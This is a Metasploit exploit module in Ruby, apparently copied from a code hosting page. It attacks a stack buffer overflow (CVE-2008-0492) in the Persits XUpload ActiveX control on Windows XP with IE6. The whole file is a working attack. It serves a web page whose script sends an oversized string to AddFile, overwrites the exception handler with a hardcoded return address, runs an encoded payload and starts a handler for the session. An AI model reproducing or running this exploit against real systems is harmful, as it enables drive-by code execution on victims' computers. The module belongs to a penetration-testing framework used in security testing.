111 lines
2.6 KiB
Ruby
111 lines
2.6 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Persits XUpload ActiveX AddFile Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in Persits Software Inc's
|
|
XUpload ActiveX control(version 3.0.0.3) thats included in HP LoadRunner 9.5.
|
|
By passing an overly long string to the AddFile method, an attacker may be
|
|
able to execute arbitrary code.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'jduck' ],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2008-0492'],
|
|
[ 'OSVDB', '40762'],
|
|
[ 'BID', '27456' ],
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/4987' ],
|
|
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059296.html' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x00",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'XUpload.ocx 3.0.0.3 on Windows XP SP3 / IE6 SP3',
|
|
{
|
|
'Ret' => 0x10019d6e # pop/pop/ret @ XUpload.ocx
|
|
}
|
|
],
|
|
],
|
|
'DisclosureDate' => 'Jan 25 2008',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def autofilter
|
|
false
|
|
end
|
|
|
|
def check_dependencies
|
|
use_zlib
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
# Re-generate the payload
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
# Randomize some things
|
|
vname = rand_text_alpha(rand(100) + 1)
|
|
strname = rand_text_alpha(rand(100) + 1)
|
|
|
|
# Set the exploit buffer
|
|
sploit = rand_text_alpha(738)
|
|
sploit << generate_seh_payload(target.ret)
|
|
sploit << p.encoded
|
|
sploit << rand_text(1000) * 25
|
|
sploit = Rex::Text.to_unescape(sploit)
|
|
|
|
# Build out the message
|
|
content = %Q|<html>
|
|
<script language='javascript'>
|
|
function check()
|
|
{
|
|
#{strname} = new String(unescape("#{sploit}"));
|
|
#{vname}.AddFile(#{strname});
|
|
}
|
|
</script>
|
|
<body onload='javascript:check()'>
|
|
<object classid='clsid:E87F6C8E-16C0-11D3-BEF7-009027438003' id='#{vname}'></object>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
|
print_status("Sending #{self.name}")
|
|
|
|
# Transmit the response to the client
|
|
send_response_html(cli, content)
|
|
|
|
# Handle the payload
|
|
handler(cli)
|
|
end
|
|
|
|
end
|